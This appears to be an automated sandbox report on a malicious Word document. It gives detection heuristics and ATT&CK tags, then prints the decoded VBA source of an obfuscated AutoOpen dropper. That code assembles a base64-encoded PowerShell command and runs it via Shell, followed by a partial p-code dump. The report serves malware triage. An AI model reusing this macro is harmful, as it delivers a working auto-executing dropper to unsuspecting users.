MALICIOUS
172
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The presence of VBA macros, specifically an AutoOpen macro and a potential Shell call, indicates malicious intent. The ClamAV detection 'Doc.Dropper.Agent-6362865-0' further confirms its malicious nature. The VBA script appears to be obfuscated, but its structure suggests it is designed to download and execute a secondary payload, likely from a URL not directly present in the static analysis.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6362865-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6362865-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
qOEnGSc = zrBkY Shell$ CzCKUwTQt + Chr(34) + QzKZn + ntTNTJwzmO + hwXCT + wSCzb + zdHIwi + CRbPwI + GrVvuww + EIHTfG + cDEiqK + jXiwu + aPSijhGRzkl + IXQpdlb + OTQni + QMLVJzpZWn + WtMYIENN + OjpGc + EnfZtt + rmQUsVd + mErMcO + hUkPHM + QJUSNmEQz + PSnna + UsOkmuDR + BjHvzZAIcwi + bKjJcEkc + BzVKGAzHNko + aHcvhutHTSL + NjMkMic + qjwaC + fvJQv + vXKARRMiD + IYorVftpNBL + qOEnGSc + hEjbZzz + fZnGMibMm + iPzTjimqkH + GXaYmbs + uJtVbUqZRKB + WAhYdpS + NiqcsTb + iXCloTEIuZ + iEiaIfEa + whwQjbTMJ + hNwjP + oRDPk + Db … End Function -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() OpvLfYrvY -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 42508 bytes |
SHA-256: 69d51fcf506f3ba863ea18cd3512732ed50acb6eae392eda58cfbb88b55acd34 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
268 of 420 identifiers look randomly generated (e.g. 'FMAQQBiAEwARQAgACcAKgBNAEQAUgAqACcAKQAuA') — consistent with name-mangling obfuscation. Carved artifact contains 74 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "lNHIuPIhT"
Function OpvLfYrvY()
sVDkdSDZZ = JwBzZptYY
KqKNojm = Mid("G4zwAIAAxADAAMQAsADQANwAgACwAIAAxADEAMwAgACwAIAA4ADcAIAAsADcAMgAsADcAOAAsADcANwAgACwAIAA3ADQALAAgADkAMAAsACAANAA3ACAALAA0ADQAIAAsACAAMQAwADQAIAAsACAAMQAxADYAIAAsACAAMQAxADYALAAxADCd0Du3OW", 4, 176)
IYorVftpNBL = KqKNojm
bhOnLVrLp = aSSEHGwNN
LVitiHLC = Mid("FNzAxADEANgAgACwAMwAyACwANgAxACwAMwAyACAALAAxADEAMAAsACAAMQAwADEALAAxADEAOQAsACAANAA1ACwAMQAxADEALAA5ADgAILHGBUVjii", 4, 103)
WtMYIENN = LVitiHLC
aSXZsipJa = RzLizHLPL
MGqwCvtjb = Mid("iDVwtwXLwR5LZzXgAIAAsADQANwAsADQANwAgACwAOQA3ACAALAAgADIswduJ36F", 16, 40)
aHcvhutHTSL = MGqwCvtjb
IFJhtRcdH = GEovCMbTF
XSWqXGjGjts = Mid("0dOHiI5WjBHwdvA5ACwAIAA0ADYALAAxADEAMAAsADEAMAAxACAALAAxADIA0DYjCIAi", 15, 46)
whwQjbTMJ = XSWqXGjGjts
BCofzBuZO = drVLtruoH
voBYBqM = Mid("ji99t4sIgACwAMQAxADEALAA5ADcAIAAsACAAMQAwADAALAA3ADAAIAAsACAAMQAwADUALAAxADAAOAAgACwAMQAwADEAIAAsACAANAAwACwAIAAzADYALAAgADEALUbo2XVooDqV4Oj5NbZ", 9, 117)
bIswM = voBYBqM
DsZFwPbiF = mVuzHiBJN
nHsVTuND = Mid("6w05hpRlEAAsACAAMQAxADYAIAAsADMAMgAsADQANQAsADYANwAsACAAMQAxADEAIAAsADEAMAA5ACwAIAA3ADkALAAgADkAOAAgACwAIAAxAvzCMNowU0ON", 10, 100)
cDEiqK = nHsVTuND
XdHInTDwl = muLzBOEXa
pRQwKuzEnpq = Mid("mlK4Lhw1idzABHAGUAdAAtAFYAYQBSAGkzfczKPiIrispQO3", 13, 21)
wSCzb = pRQwKuzEnpq
fvFZDOwID = UikqJjiXL
iHUTpKdWI = Mid("DcXiZlj5LEAMQAzACAALAAgADkAOQAsACAAMQAxADUAIAAsADQANgAgACwAMiowolFmnpBoTAOO", 10, 51)
NjMkMic = iHUTpKdWI
AvFGCwdpn = toTfvjDWO
lTnNYHZwJp = Mid("qrNrkQIalMQA3ACAALAAxADEANAAgACwAMQAwADgALAAgADQANgAgACwAIAA4ADQAIAAsACAAMQAxADEAIAAsACAAOAAzACwAMQAxADYALAAgADEAMQA0ACAALAAxADAANQAsACAAMQAxADAAIAAscnhqfDYjAE6nIMi1", 10, 140)
zWGjimwQd = lTnNYHZwJp
IzZsLiPiU = BvkbSiDEc
nzjFpOMbORG = Mid("5AAsADEAMAA2ACwAMQAwADEAIAAsACAAOQA5ACAALAAxADEANgAsADMAMgAsACAAOAAzACwAIAAxADIAMQAgACwAMQAxADUAIAAsADEAMQA2ACjlh2k08uwDsuzhtz6ck9Y0I3l6zUzG2Vml7vfL", 2, 109)
OjpGc = nzjFpOMbORG
VZsHvNaCT = jojBnnVWZ
wKXjHjBFsiv = Mid("kvPhaYqzJH4k6AA0ACwAMQAwADcALAAgADEAMQA1ACAALAA0ADUAIAAsACAAMQAwADMAIAAsACAAMQAxADQAIAAsADkANwAsADEAMAAyACAALAAgADEAMAA1ACAALAAxADAANwAsACAANAA2ACAALAAxADAAMAAgACwECvEhzJBpzQCOEAwVbGRZ", 15, 148)
vXKARRMiD = wKXjHjBFsiv
lHkarTdcu = CSWpbrGiz
KNmGwoMscMw = Mid("9h5Z9wHmqjCZ8iHzRqIlVXU9tjFLMWJiADMAMgAgACwAIAA4ADcALAOFU", 33, 22)
aPSijhGRzkl = KNmGwoMscMw
VACMRIKfu = lAIzGwFSw
uzZbWuvTL = Mid("WIG9ABFADoAbwBGAHMAJwAgACcAPqcjzSpiU37DPk", 5, 23)
CRbPwI = uzZbWuvTL
suiZdTTXk = zuMruEqzV
iiHwfwM = Mid("rvvhNQDwpdS7AALAAxADAAMQAsACAAMQAwADkALAAgADQANgAgACwAIAA3ADgAIAAsACAAMQAwADEALAAxADEANgAsADQANgAsACAAOAA3ACwAIAAxADAAMQAgACwAOQA4ACAALAAgADYANwAgACwAIAAxADAAOAAgACwAIAAxADAANQAsQLpMDKPA4", 13, 166)
EnfZtt = iiHwfwM
WZpbQLZsc = mFMZjJuOn
XAXjzq = Mid("qsXQACAAMQAwADEAIAAsADEAMQAwACwAIAAxADEANgAgACwAIAA1ADkALAAzADYAIAAsADEAMQA0ACwAIAA5ADcAIAAsADEAMQAwACwAIAAxADAAMAAgACwAMQAxADEAIAAsADEAMAA5ACAALAAgADMAMgAgACwAIAA2ADEALAAzADIALAAxADEAMAA8id1kmiCH", 5, 183)
rmQUsVd = XAXjzq
OwXjstYNk = htGDGHbit
ZACzCQi = Mid("dDhsCibinBcAIAAsACAAOQA3ACAALAAgADEAMQA2ACwAIAAxADAANAAsACAAMQAwADgALAAgADEAMQAxACwAMQAxADAALAAgADEAMAAxACNB74iJla7F", 12, 95)
hEjbZzz = ZACzCQi
HQiWzkrjS = YXKDzfRbC
zQwFL = Mid("cnBqOztkoWwotSqTc6HFiAgADgAMwAsACAAOQA5ACwAIAAxADEANAAsACAAMQAwADUAIAAsADEAMQAyACAALAAxADEANgAgACwAIAA0ADYALAA4ADMAIAAsACAAMQAwADQAIAAsA1d3NOV2oY", 22, 115)
IXQpdlb = zQwFL
znjvCCasz = VjwEwBQnz
MZkBkLKlo = Mid("E6Zl8XmDsh2Y5O82TiAACAAMQAwADEAIAAsACAAMwA5ACAALAAgADUAOQAsACAAMQAwADIAIAAsADEAMQAxACwAMQAxADQAIAAsADEAMAAxACwAOQA3ACwAIAA5ADkALAAgAhBljI0KiG7", 20, 113)
zWlljQjOicj = MZkBkLKlo
IsznsMbAp = ZdvalfEdu
ihOiImTA = Mid("4kmDEAMAAxACwAMQAwADgALAAgADEAFB2YLKabo3", 4, 27)
OTQni = ihOiImTA
NLObvGkVz = TTZJnKhIj
pdvWFH = Mid("VswqlY0KSDupWjDAANgAgACwAMQAwADEAIAAsADkAOQAsADEAMQA2ACAALAAgOH13LIEBh", 15, 47)
jXiwu = pdvWFH
FKvUTCNBP = DvzTAUGDb
rvQioH = Mid("0BvXADQAMAAgACwANAA5ACAALAA0ADQAIAAsACAAMwAyACAALAAgrLPUYwr8Bjnkb5D5EA2cnEf3lhv18PNJo5", 5, 48)
oRDPk = rvQioH
jhwqCWOIh = QQqlsdwzS
jpIbjIzDHaM = Mid("aTOEL0Kwb8XnpKwEk0mStMibjoNgAsACAAMQAxADIALAA5ADcALAAxADEANgAgACwAIAAxADAANAAgACwANAAxACAALAAgADUAOQAsADgAMwAsADEAMQA2ACAALAAgADkANwAsACAAMQAxADQALAAxADEANgAsADQANQAgACwAIAA4ADAALAAxADEANAAgACwAIAAxADEAMQAgAC9BN", 27, 182)
fSFIdtck = jpIbjIzDHaM
ztsMOurhZ = AzSEDkiwb
iLzHR = Mid("KwrMimJ7l2w98T7roz7uAxADEAMQAsACAAMQAxADIAIAAsACAAMQAwADIALAAgADEAMAA4ACwAIAAxADAAMQAgACwAIAAxADAAMwAgACwAIAAxADAAMQAgACwAIAA0ADUAIAAs5ziDOQij8dN", 21, 114)
UsOkmuDR = iLzHR
mOIYFLUwk = YSCTXBCHK
AWbPwjbHGBi = Mid("ldNFLpz70zkJfFuCcCwAMQAxADAAIAAsACAAMQAxADYALAAgADEAMgAwACAALAA3ADYAIAAsACAANAA3ACwAMwA5ACAALAAgADQANgAsACAAOAAzACAALAAgADEAMQAyACAALAAgADEAMAA4ACwAMQAwADUALAAxADEANgAgACwANAAwACAALAAzADkAIAti", 18, 173)
WAhYdpS = AWbPwjbHGBi
jXSCzVwNI = OMMGCuBJk
iPSFa = Mid("wwTH7whset %nkwrnRiAKkjti", 8, 11)
QzKZn = iPSFa
KanjrRJSO = XhbRCwZzb
CKlhkczQ = Mid("zYDXUSAUADEAMAAzACwANAAwACAALAA0ADEAIAAsADQANAAsADMAMgAsADMAuXuruwldNf", 9, 52)
cHqXLQwwN = CKlhkczQ
JjOnbrCGk = YSPIRNQrj
jRwjAuGkCwb = Mid("LGjO4JXCwAMQAyADUAIAAsACAAMQAyADUAIAApACAAKwAiACAAJAAoAHMAZQBUAC0AaQBUAGUATQAgACcAVgBBAHIAaQBhAGIATABlADoAbwBGAFMAJwAgACcAIAAnACkAIAAiACkAIAA=2K2DU8M", 8, 135)
KQmkOwNf = jRwjAuGkCwb
WCjAsjGZj = hzJQjDTsa
IfiLomuz = Mid("p65AiVYK5EDEAMAA0ACwAIAA0ADAAIAAsACAAMwA2ACwAMQAxADcAIAfwWwAPVAr64a5G", 11, 45)
kijjo = IfiLomuz
WXwvikhlz = zOPOAKPDw
FzdwKzIzkcW = Mid("nkBjJwApACIAKwAgAFsAcwBUAHIASQBuAGcAXQBbAGMASABBAHIAWwBdAF0AKAAzADYALAAgADEAMQA5ACAALAAgADEAMQA1ACAALAAgADkAOQAgACwAIAAxADEANAAsACAAMQAwADUALAAxADEAMgAgACwAIAAxADEANgAsADMAMgAgACwANgAxACwAIAAzADIAIAAsAnWj516lBPMDKtKpEs5ikKKVZE8w7", 5, 197)
GrVvuww = FzdwKzIzkcW
uIqhhCLVJ = bHmLpYnuU
dYKEBhlLjrA = Mid("c4w57X8C7qol8J8iCwAIAA0ADEALAAxADIAMwAsADEAMQA2ACAALAAgADEAMQA0ACAALAAxADIAMQAsADEAMgAzACAALAAgADMANgAgACwAMQAxADkAIAAsADEAMAAxACwAOQA4ACAALAA5ADkAIAAr6fUw9jqc", 17, 134)
ZjvVJUj = dYKEBhlLjrA
ibYvTHjGK = RSwzBdGYk
ivqqjXjHXYA = Mid("fSoiiRbjCGNbKMtz7TEz FADUANAAsADUAMwAgACwANQAjGVaH4", 23, 23)
DbQKWqFB = ivqqjXjHXYA
joqwkIbGi = NnZqaGqhb
bkRsc = Mid("kHUz8Fbr4sADEAMAwBlEZr7zlQ8SV9qn4WNE", 10, 7)
iEiaIfEa = bkRsc
YzpjAaruC = MbFJFRoDG
pYmroFko = Mid("bCNwQWzAsADEAMQA0ACAALAAxADAAOAAsACAAMwAyACAALAAxADAANQAgACwAMQAxADAAIAAsADMAMgAsADMANgAsACAAMQAxADcALAAgADEAMQA0ACAALAAgADEAMAA4ACAALAAxADEANQAgABklkowGnPh0utiR", 8, 139)
EjuiwJtit = pYmroFko
ilrPTNdTT = laspJUBiZ
whcoScHAi = Mid("wIpwQjrf8C1MWWiBpANgAgACwAIAAxADAANQAgACwAIAAxADEAMQAgACwAMQAxADAALAA0ADYALAAgADcANwAgACwAIAAxADAAMQAsADEAMQA1ACAALAAxADEANQAsACAAOQA3ACAALAAxADAAMwAgACwAMQAwADEAIAAsACAANQA5AinTP", 18, 158)
VpjIm = whcoScHAi
uAnPEpGOi = YEiIBXALv
YbjOphkLR = Mid("r26p4u0uFb4FEXqauo&&set %dWCitKIaw%=JwowzTGji&&set %FwIWMBjaw%=hell&&set %DBrwIPTXT%=wlYrfjrtW&&!%OpvLfYrvY%!!%nkwrnRSUQ%!!%FwIWMBjaw%! -e IAAmACgAKAlLZINPEr", 18, 132)
hwXCT = YbjOphkLR
kJfbFhGGT = KXSlHXrtD
PMiKHjJbm = Mid("7P4BodMAAsACAAMQAxADYALAAgHvjzDw", 7, 20)
hNwjP = PMiKHjJbm
SOjBJFjEP = lcYVozZRZ
hEBNNSh = Mid("XiZJrLctdHMU2w9FI8ZfFNlhbLjpzmAAxADEANgAgACwAIAAxADEANgAsADEAMQAyACAALAAgADUAOAAgACwANAA3ACAALAAgADQANwAsACAAMQAxADUAIAAsADEAMAAxACAALAAgADkAOAAgACwAIAA5ADcAIAAsADEAMQA1ACAALAAxADEANgAgACwAMQAwADUAIHW", 31, 168)
iPzTjimqkH = hEBNNSh
tSuFIwWwr = LnwLQHThw
IophhEvcsw = Mid("EjjkcGfrwEcWFLXdq6CPqjwllszhXZ5VADYAIAAsADEAMAAwACAALAAxADAAMQAgACwAIAAT6fvKi", 33, 39)
bKjJcEkc = IophhEvcsw
OiAasBSVd = upiVLqzzb
qDdoc = Mid("71CufOsuScwbdUYr3MAA4ACwAIAA1ADkAIAAsACAAMwA2ACAALAAgADEAMQA5ACwAMQAwADEAIAAsADkAOAAsADkAOQAgACwAIAAxADAAOAAsADEAMAA1ACwAMQAwADEAIAAsADEAMQAwACAALAziOvOad4I5Cw1Olz", 18, 130)
QMLVJzpZWn = qDdoc
INFifMNXQ = SZMQBHAKi
NIWTvWioNs = Mid("2MvIXPM2pQFjhE2QgACwAIAAxADAAMQAgACwAIAAxADEAOQAgACwANAA1ACAAaFNFMpv", 17, 45)
mErMcO = NIWTvWioNs
ZTatnnVbH = JpbGNSjLU
bbzrLAH = Mid("MNVnipBGKGWokNrUVRKpLiutJaJnCAAMQAxADAALAAgADEAMAAxACAALAAxADEAOQAgACwANAA1ACAALAAgADEAMQAxACwAIAA5ADgALAAgADEAMAA2ACAALAAgADEAMAAxACAALAA5ADkAIsIsFN7L", 29, 116)
EIHTfG = bbzrLAH
rjDnMUkAv = QinbUBHYi
obdoENiIO = Mid("4MccpXQuHwNwAgACwAIAAxADEAMAAgACwAMQAwADAAIAAsACAAMQAxADEAIAAqRHKU", 11, 51)
iXCloTEIuZ = obdoENiIO
APZSMEFEh = oLMtjpmJi
PwjJta = Mid("0fYTACAALAAxADEANQAsADEAMQA2ACAALAAzADIALAAgADMANgAgACwAOQA1ACwAIAA0ADYAIAAsACAANgA5ACwAIAAxADIAMAAgACwAOQA5ACAALAAgADEAMAAxACAALAAgADEAMQAyACwAIAAxADEu34V3BiSCH", 5, 147)
HMrvLzYW = PwjJta
flHFImrEz = TiVawoojw
jfKjjI = Mid("OnG3LqW1oW5UCVBEuADEAMAAxACwAIAAxADIAMAAsPLju", 18, 24)
MMOTFvnUEj = jfKjjI
uYTzhImvo = jXuwoLXcm
OqhXj = Mid("KA81LKt4KAlwNADEAMQAyACwAMQAwADEALAAgADEAMQA2ACwAMQAwADEALAAgADEAMQA0ACAALAAgADEAMQA1ACwAIAA0dCVt8HbJjcbhH6", 14, 80)
BjHvzZAIcwi = OqhXj
WvGmbIGmW = MOMYFDtrk
EuNaQjowKh = Mid("jYAGHPGiSUQ%=wers&&set %AwvmsCjYw%=vBTfYXbaS&&set %OpvLfYrvY%=pILTSwYMs", 9, 55)
ntTNTJwzmO = EuNaQjowKh
KfEwSMwHh = DVtJDWBRk
YvSMQau = Mid("YkEGuwcNRpHDEAMQA2ACAALAAxADEAMgAgACwANQA4ACwAIAA0ADcALAAgADQANwAgACwAIAA5ADcALAAxADEANwAgACwAMQAxADYALAaGH7", 12, 93)
PSnna = YvSMQau
qHzKsvmah = cLSqEwaMw
IKzcdBYQawA = Mid("Gn47zGpYALAAgADEAMQAyACAALAAgADUAOAAgACwAIAA0ADcAIAAsADQANwAsADkANwAgACwAIAAxADEANAAsADEAMQA2ACwAMQAxADkAIAAsADEAMQAxACAALAAgADEAMQX5wpbisGsYQQh4lpfc3ZwQR", 8, 124)
fvJQv = IKzcdBYQawA
iYctoTbDQ = cDLqWnTCj
iGJjiPRpGG = Mid("zn7k2ZZF732q5bCAALAAgADUAOQAgACwAMQAyADUALAA5ADkAIAAsADkANwAsADEAMQA2ACwAIAA5ADkALAAxADAANAAsADEAMgAzACAALAAxADEAOQAsACAAMQAxADQALAAxADAANQAsADEAMQA2ACAALAAgADEAMAAxACwANAA1ACAALAAxADAANAAsADEAMQAxqlTI3HQXQAcVvvzAYVS1Y", 15, 183)
FCNXijTIbar = iGJjiPRpGG
nAnJLsfVw = OMQwirZTt
uhazRT = Mid("0bYvQAxADEALAAgADEAMQA0ACwAIAAxADAAMwAsADQANwAsACAAOAAxACwANwA1ACwAMQAxADcALAAgADEAMgAxACAALAAgADEAMgAxACwANAA3ACAALAAgADQANAAgACwAMQAwADQALAAxADEANgAsACAAMQAxAD949v1BF", 5, 157)
qjwaC = uhazRT
HwTijoiKW = VmpiWBMnM
nZNaSn = Mid("OXE2ozQFl8PZUNasACAAMQAwADgALAAxADAANQAsACAAMQAwADEAIAAsACAAMQAxADAAIAAsADEAMQA2ACwANAA2ACAALAA2ADgALAAxADEAMQAgACwAIAAxADEAOQAsACAAMQAxADAALAAxADAAOAAAakR", 16, 136)
rTGczTKwQXw = nZNaSn
JZMkNSWMr = AfUTQDuLG
SsPrLKoApOk = Mid("EEPPSKzXN6cj6z5AIWZZ1wAOQA5ACAALAAgADEAMAAxACAALAAgADEAMQA1ACAALAAgADEAMQA1ACwAMwAyACAALAAzADYALAAxADEAMgAsADkANwAsACAAMQAxADYALAAgADEAMAA0ACAALAA1ADkALAA5ADgAIAAsACAAMQAxADQAIAAsADEAMAAxACAALAA5ADcALAAgADEAMAA3AU3t3IThavh", 22, 191)
VwpNiNm = SsPrLKoApOk
QJQziBVJj = HjpOkufQt
kFRubtZ = Mid("Nq7VHQH297SAcwL15uQ7M7s6AIAAsACAAMQAxADEAIAAsACAAMQAwADkALAAgADUAOQAsADMANgAgACwAIAAxADEANwAgACwAMQAxADQALAAgADEAMAA4ACwAMQAxADUAIAAsACAAMwAyACAALAAgADYAMQAsADMAMgAgACwAMwA5ACwAMQAwADQAIAAsACAAMQAxADYAIAAsALw", 25, 182)
QJUSNmEQz = kFRubtZ
jWjAHWzii = CBVlkLvvi
wUAQcjd = Mid("mSjBfFOQEwvsXwCIIihVEMAsADQANAAgACwAMwA5ACwAIAA0ADEAIAAsADUAOQAgACwAMwA2ACAALAAgADEAMQAwACAALAA5ADcALAAxADAAOQAsACAAMQAwADEALAAzADIAIAAsADYAMQAsACAAMwAyACwAMwA2ACwAMQAxADQALAAgADkAZbmwqz3n90zUr6l", 23, 158)
NiqcsTb = wUAQcjd
vKuKPDjPc = BlvZozJNo
YswhFJpDAh = Mid("jtAAsACAAOQA3ACAALAAgADEAMQAwACwAIAAxADAANAAsACAAMQAxADEAIAAsACAAMQAwADIALAAgADEAMAA9FuUwIau1a1XDuVk", 3, 82)
GXaYmbs = YswhFJpDAh
WQBtBAXTI = NVziSoQjG
AmYVBIs = Mid("bZG0ADcALAAgADgANAAgACwANwA4ACAALAAgADcAOAAsADcANwAsADcAMwAgACwAIAAxADEANQAsACAAMQAxADMALAAgADQANwAsADQANAAsACAAMQAwADQALAAgADEAMQA2ACwAIAAxADEANgAsACAAMQAxADIALAA1ADzT0GDmsstjrndhknzJRJvX5j1z", 4, 163)
BzVKGAzHNko = AmYVBIs
zVHfQruws = jcNVcXWYf
jQtCpKvkJjD = Mid("FMAQQBiAEwARQAgACcAKgBNAEQAUgAqACcAKQAuAE4AYQBNAEUAWwAzACwAMQAxACwAMgBdAC0AagBPAEkAbgAnACcAKQAoACAAIgAgACQAKAAgAHMAZQB0AC0AaQBUAGUATQAgACcAVgBhAHIASQBhAEIAbJ71qGC9LtsJt5vTzS", 3, 154)
zdHIwi = jQtCpKvkJjD
cBIunwvVt = dWSHJEtKr
UNcOTT = Mid("irCq5QNnGhWKL9qS1ZJ192zACwANQAxACwAIAA1ADQALAA0ADEALAAgADUAOQAgACwAMwA2ACAALAAxADEAMgAgACwAIAA5ADcAIAAsADEAMQA2ACwAIAAxADAANAAgACwAIAAz1twEF6", 23, 113)
kWdYJCz = UNcOTT
hrzJzFHor = urtbHuJni
csrGHj = Mid("iVHLUW005Rw0CwAOQAyACAALAAzADkALAAzADIAIAAsACAANAAzACAALAAzADIAIAAsADMANgAsADEAMQAwACwAOQA3ACwAMQAwADkALAAgADEAMAAxACwAMwAyACAALAA0ADMAIAAsADMAMgAsADMAOQAsADQANgAs7wz9", 13, 151)
NTZVWHUpNA = csrGHj
zEiLkvwQZ = ZbSIcSfph
nzAhQ = Mid("6CfliRjCSCvCJAma2YrPuhIn5ACwAOQA3ACAALAAxADEAMAAsACAAMQAxADAALAAgADQANgAgACwAOQA5ACwAMQAxADEAIAAsACAAMQAwADkAIAAsADQANwAsACAAMQAwADIAIAAsADEAMAA1ANuoVvwp7b4", 25, 122)
uJtVbUqZRKB = nzAhQ
fTBDmzFAd = ACOYwWWvF
imNtU = Mid("Hjdzm3fP9VEVLAAxADEAMQAsADkAOAAsACAAMQAwADYAIAAsACAAMQAwADEAIAAsADkAOQAsACAAMQAxADYAIAAsACAAMwAyACAALAAxADEANAAsADkANwAgACwAIAAxADEAMAAgACwAMQAwADA2wGYnzV", 13, 135)
hUkPHM = imNtU
JVHELjfhM = YmPbwSMdU
LTDWTBS = Mid("2sHR7NADIAIAAsACAANgAxACAALAAzADIAIAAsACAAMwA2ACwAMQAwADEAIAAsADEAMQAwACAALAAxADEAOAAsACAANQA4ACAALAAxADEANgAgACwAIAAxADAAMQAsACAAMQAwADkAIAAsACAAMQAxADIALAAzADIAIAAsADQAMwAsACAAMwAyACwAMwA5An9PiT1tD", 7, 185)
apFwvYBERjG = LTDWTBS
juRiGjRzO = KBdvljMWT
HRiJqhAzJ = Mid("rp5k5OFBt2IVJ3GuvJ5umIrwANAA2ACAALAAgADEAMAAwACwAMQAwADEALAAgADQANwAsACAAMQAxADgAIAAsADEAMgAxACwAIAA2ADgAIAAsACAANwAwACwAOAAyACAALAAgADEAMgAxACwANAA3ACAALAAgADQANAAsACAAMQAwADQALQr", 24, 155)
fZnGMibMm = HRiJqhAzJ
aaHSXEmjO = NZFwMUCqA
zrBkY = Mid("cX67vlEAMgAgACwAIAA1ADgALAA0ADcALAA0ADcZIChn0a", 7, 33)
qOEnGSc = zrBkY
Shell$ CzCKUwTQt + Chr(34) + QzKZn + ntTNTJwzmO + hwXCT + wSCzb + zdHIwi + CRbPwI + GrVvuww + EIHTfG + cDEiqK + jXiwu + aPSijhGRzkl + IXQpdlb + OTQni + QMLVJzpZWn + WtMYIENN + OjpGc + EnfZtt + rmQUsVd + mErMcO + hUkPHM + QJUSNmEQz + PSnna + UsOkmuDR + BjHvzZAIcwi + bKjJcEkc + BzVKGAzHNko + aHcvhutHTSL + NjMkMic + qjwaC + fvJQv + vXKARRMiD + IYorVftpNBL + qOEnGSc + hEjbZzz + fZnGMibMm + iPzTjimqkH + GXaYmbs + uJtVbUqZRKB + WAhYdpS + NiqcsTb + iXCloTEIuZ + iEiaIfEa + whwQjbTMJ + hNwjP + oRDPk + DbQKWqFB + kWdYJCz + apFwvYBERjG + NTZVWHUpNA + MMOTFvnUEj + zWlljQjOicj + kijjo + EjuiwJtit + ZjvVJUj + rTGczTKwQXw + bIswM + zWGjimwQd + cHqXLQwwN + fSFIdtck + VwpNiNm + FCNXijTIbar + HMrvLzYW + VpjIm + KQmkOwNf, 0
End Function
Attribute VB_Name = "OEXuiFMTb"
Function CzCKUwTQt()
bXSWCZjOc = jciTwnKvr
ahDPiRtiz = Mid("vkGbFtwOd UNFAOfBwGVApnRKwdfHbMrBskfLP", 10, 2)
sjEao = ahDPiRtiz
zajOYsibw = ZmnuDHBRF
UUqNuz = Mid("lDinLcIJzGdCaUaCX RwlIADpZ", 18, 1)
iPVQrjqqQ = UUqNuz
YHclDtHwb = YVAbrWPLf
zuBvfbTLui = Mid("bQZADVwMzbS LImzThzrsFJMCwMMPvwLVSRFPUmB", 12, 1)
uqGZEjCSLcF = zuBvfbTLui
QNzZrbdJc = poYWRjhln
JujXqLjbi = Mid("uqKPoVWBYh pkjVCPKj", 11, 1)
IrCsd = JujXqLjbi
OOXmGaRFG = vwvQfsclE
qsbIfYLnj = Mid("ZjrXMfvj wKF", 9, 1)
sivajutj = qsbIfYLnj
GzPBHtRRJ = CCDTuFjAz
isPBi = Mid("sfuwSVSwWcmMzDQjIaZcNkk", 10, 2)
wqPKtPWzCd = isPBi
HdGYHlUhL = hZJfujcbm
fRHFn = Mid("bpqAXXUiQMv naKKNhosYRRCRXLFiAsmYIvWXHIUp", 11, 2)
jYPkB = fRHFn
YNGdUpROD = DbEphivUH
SpWQAWEAzYG = Mid("OBkr/cYWBawZEJI", 5, 2)
IFjKbzoRQH = SpWQAWEAzYG
zhrdhZhks = zWHXrSSKm
RlIPGq = Mid("UNjHhfbhwKIzVwuO CoTijIPP", 17, 2)
jhdAcF = RlIPGq
qiIRHsiRG = HrrikZYiu
JjCfj = Mid("akHVNHdwlZhznaIlp irCKjjV", 18, 1)
WVjnXwz = JjCfj
uvjjwkwSr = vfklWXsFq
lODIhUI = Mid("TBBqAo MHjfqHC", 7, 1)
rIEOoIFd = lODIhUI
wjZwuPTZs = AUmizMYXP
JCXtDpCQQ = Mid("r/ZMfHNivBWYlD", 2, 1)
ETPRcQSEoJ = JCXtDpCQQ
GJhYUpAml = WWUUmijZw
cZWpaElAwCf = Mid("lWvzkmzNEiWjBJzkdIPwM fzLiAXkFjGzTpBSl", 22, 2)
SjqXrzHJt = cZWpaElAwCf
UwAQNWsvz = FNjXNwIlv
ZncITzd = Mid("TtvdPuowbTV", 4, 1)
DjliiFa = ZncITzd
IaLkzIdwD = XfhHwZNDb
nFUJEEEiq = Mid("V nLvHwaVwwrKiUWfB", 2, 2)
bbGKQ = nFUJEEEiq
CzCKUwTQt = wqPKtPWzCd + DjliiFa + iPVQrjqqQ + ETPRcQSEoJ + jYPkB + IFjKbzoRQH + bbGKQ + IrCsd + SjqXrzHJt + uqGZEjCSLcF + sjEao + rIEOoIFd + jhdAcF + WVjnXwz + sivajutj
End Function
Sub AutoOpen()
OpvLfYrvY
End Sub
' Processing file: /opt/analyzer/scan_staging/72a7ed7294e74ca897f2ebb1c4770181.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 924 bytes
' Macros/VBA/lNHIuPIhT - 23997 bytes
' Line #0:
' FuncDefn (Function OpvLfYrvY())
' Line #1:
' Ld JwBzZptYY
' St sVDkdSDZZ
' Line #2:
' LitStr 0x00BB "G4zwAIAAxADAAMQAsADQANwAgACwAIAAxADEAMwAgACwAIAA4ADcAIAAsADcAMgAsADcAOAAsADcANwAgACwAIAA3ADQALAAgADkAMAAsACAANAA3ACAALAA0ADQAIAAsACAAMQAwADQAIAAsACAAMQAxADYAIAAsACAAMQAxADYALAAxADCd0Du3OW"
' LitDI2 0x0004
' LitDI2 0x00B0
' ArgsLd Mid 0x0003
' St KqKNojm
' Line #3:
' Ld KqKNojm
' St IYorVftpNBL
' Line #4:
